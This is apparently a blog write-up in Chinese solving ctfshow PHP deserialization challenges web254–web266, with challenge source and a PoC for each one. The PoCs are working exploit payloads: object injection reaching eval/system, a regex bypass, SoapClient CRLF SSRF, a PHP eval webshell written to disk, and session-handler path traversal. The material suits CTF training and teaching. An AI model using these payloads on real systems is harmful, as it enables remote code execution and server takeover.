ctfshow反序列化解题

527 阅读4分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第二十一天,点击查看活动详情

web254

code

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

分析

判断是否传入username和password,实例化$user,依次进行判断

poc

?username=xxxxx&password=xxxxx

web255

code

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析

判断是否存在username和password后,$user对象由COOKIE中的user值反序列化赋值,因此将ctfShowUser这个类序列化后传入COOKIE中即可,其中将\isVip设置为true绕过checkVip()方法,COOKIE一般不能直接传入字符串,url编码后传入

poc

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

}

$a = new ctfShowUser();
print urlencode(serialize($a));
//user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

code

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析

vipOneKeyGetFlag方法中当username和password的值不相同时才能得到flag

poc

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxx';
    public $isVip=true;
}

$a = new ctfShowUser();
    print urlencode(serialize($a));

//user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22xxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

代码

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}



分析1

逆推,首先需要backdoor类里的getinfo方法eval()执行代码,可以看到__destruct()方法调用getinfo(),那么在__construct()方法实例化backdoor类就可以实现到eval方法的调用

poc1

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}


class backDoor{
    private $code = "system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
print urlencode(serialize($a));

//user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

分析2

在y4师傅博客上看到另一种解法在php7.1以后版本反序列化对属性不敏感,通过指纹识别可得是7.3.4版本的站,那么poc就可以简化为:

poc2

<?php
class ctfShowUser
{
    public $class = 'backdoor';

}

class backDoor
{
    public $code = "system('cat flag');";
    public function getInfo()
    {
        eval($this->code);
    }
}

$a = new ctfShowUser();
$b = new backDoor();
$a -> class = $b;
print urlencode(serialize($b));
?>

web258

code

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

分析

重点在这个正则匹配上!preg_match('/[oc]:\d+:/i', $_COOKIE['user']),这个正则是为了过滤Object类型被反序列化,但是php的unserialize有个小tip可以绕过这个正则,在冒号:后添加一个加号+:原文链接www.phpbug.cn/archives/32… 那么只需要在payload前添加个加号即可绕过,poc里面将O:替换为O:+

poc

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
print urlencode($a);

web259

code

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); 
array_pop($xff); 
$ip = array_pop($xff); 
if($ip!=='127.0.0.1'){ 
    die('error'); 
}else{
     $token = $_POST['token']; 
    if($token=='ctfshow'){
     file_put_contents('flag.txt',$flag); 
     } 
}

分析

什么是SoapClient

soap简单对象访问协议,使用xml传送数据,正常情况下的SoapClient类调用不存在的函数时会调用__call方法,这里是在我自己服务器上监听的,location就是服务器地址

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxxx:5555'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

image.png 可以看到SOAPAction是我们可以控制的,这里利用CRLF传入构造的参数 image.png 但是要发送POST包需要设置Content-Type为application/x-www-form-urlencoded,但是这里的content-type在SOAPAction上面 image.png 可以在user-Agent里面传递值

<?php
$target = 'http://xxxxxx:5555';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: xxxx',
    'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'pa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

image.png

题目分析

本地访问时要带上token,一开始以为修改xff头,参考y4师傅博客是因为有cloudfare代理所以需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,因为使用了array_pop()函数,该函数弹出并返回array数组的最后一个单元,如果不是数组将会报错。

Deserialization + __call + SoapClient + CRLF = SSRF 其实就是构造POST包: user_agent:pa Content-Type: application/x-www-form- urlencoded X-Forwarded-For: 127.0.0.1,127.0.0.1 Cookie: PHPSESSID=my_session Content-Length:xxx token=ctfshow

poc

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
    'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,
    array(
        'location' => $target,
        'user_agent'=>'pa^^Content-Type: application/x-www-form- urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,
        'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

web260

代码

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

poc

?ctfshow=ctfshow_i_love_36D

web261

code

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

分析

当存在__unserialize()方法和__wakeup()方法时就不会调用__wakeup()方法,那么就应该从写文件这里入手,利用php的弱类型==就可以绕过$this->code==0x36d

<?php
    $a = "877.php";
    var_dump($a == 0x36d);
\\true

传入filename为877.php,password为shell即可

poc

<?php

class ctfshowvip
{
    public $username;
    public $password;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }


}
$a=new ctfshowvip('877.php','<?php eval($_POST["cmd"]);?>');
print urlencode(serialize($a));

web262

code

index.php

<?php

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

分析

index.php文件注释里面提示还有一个message.php文件,index.php主要意思是将$msg序列化后查找fuck替换为loveU之后经过base64编码传入COOKIE里面,message.php将cookie里的msg解码后反序列化,如果token的值为admin在则输出flag,那么直接将token设置为admin后实例化message类后就可以序列化并编码

poc

<?php

class message{
    public $from = 1;
    public $msg = 1;
    public $to = 1;
    public $token='admin';
}

$a = new message();
$b = serialize($a);
$c = base64_encode($b);
print $c;
//Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MTtzOjM6Im1zZyI7aToxO3M6MjoidG8iO2k6MTtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

image.png

这里还有另外一种解法 将$token='admiin'序列化得到O:7:"message":1:{s:5:"token";s:5:"admin";}

我们只需要用到{s:5:"token";s:5:"admin";},我们需要构造一个长度跟{s:5:"token";s:5:"admin";}一样的字符串将序列化好的结构打乱,让需要利用的地方通过反序列化函数最后获取flag。通过python可以知道";s:5:"token";s:5:"admin";}的长度(必须要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}) ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

session反序列化 url后添加/www.zip,存在源码泄露 image.png 首先index.php里面会生成session和cookie的limit,而session的limit值是由cookie的limit进行base64解码后的 image.png 然后调用check.php,这里主要判断是否登录成功,登录成功则取消次数累计,然后调用inc.php 这里的点主要在inc.php里面,首先设置了 session.serialize_handler处理器为php

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

然后看这个类的析构方法,通过file_put_contents()方法写入username和password,因此构造payload,因为处理器使用的是php,所以需要在前面添加个|

<?php
class User{
    public $username="admin/../../../../../../../../../../var/www/html/1.php";
    public $password="<?php system('cat flag.php');?>";
    public $status;

}
$a = new User();
$c =  "|".serialize($a);
echo urlencode(base64_encode($c));

修改cookie里的limit值,之后访问check.php后进行反序列化写入

web264

code

和262很相似,不同在于 image.png 需要先传进去 ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 之后访问messag后添加msg值

web265

code

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

解析

看到了mt_rand()以为是随机数漏洞,但是前面有个md5加密,好像就不是了,然后看了y4师傅的博客,使用的是指针里面的引用&,将password的值等于token

poc

<?php

class ctfshowAdmin{
    public $token = 1;
    public $password =1;

    public function __construct(){
        $this -> token = 1;
        $this->password = &$this->token;
    }
}
$a = new ctfshowAdmin();
print serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
//O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";i:1;}

可以看到注释里面有两个反序列化的值,下面那个直接传的password和token等于1,上面是用的引用传参,区别在于一个是R:2,一个是i:1,i表示整型的integer,R是什么,挠头,百度了才知道R表示reference,r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据

web266

code

<?php

$cs = file_get_contents('php://input');

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

分析

如果匹配到ctfshow关键字就会抛出异常,但是php有个特性,函数名、方法名、类名不区分大小写,写个demo

<?php

class pa{
    function abc(){
        print "hello";
    }
}
//$a = new Pa();
//$a -> abc();
$a = new Pa();
$a -> ABc();

将类名设置为Pa,调用ABc方法仍然可以调用 image.png

所以这里可以设置为ctfsHow,因为使用了php://input,所以使用post传参 image.png

poc

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
$a = new ctfshow();
print serialize($a);
//O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}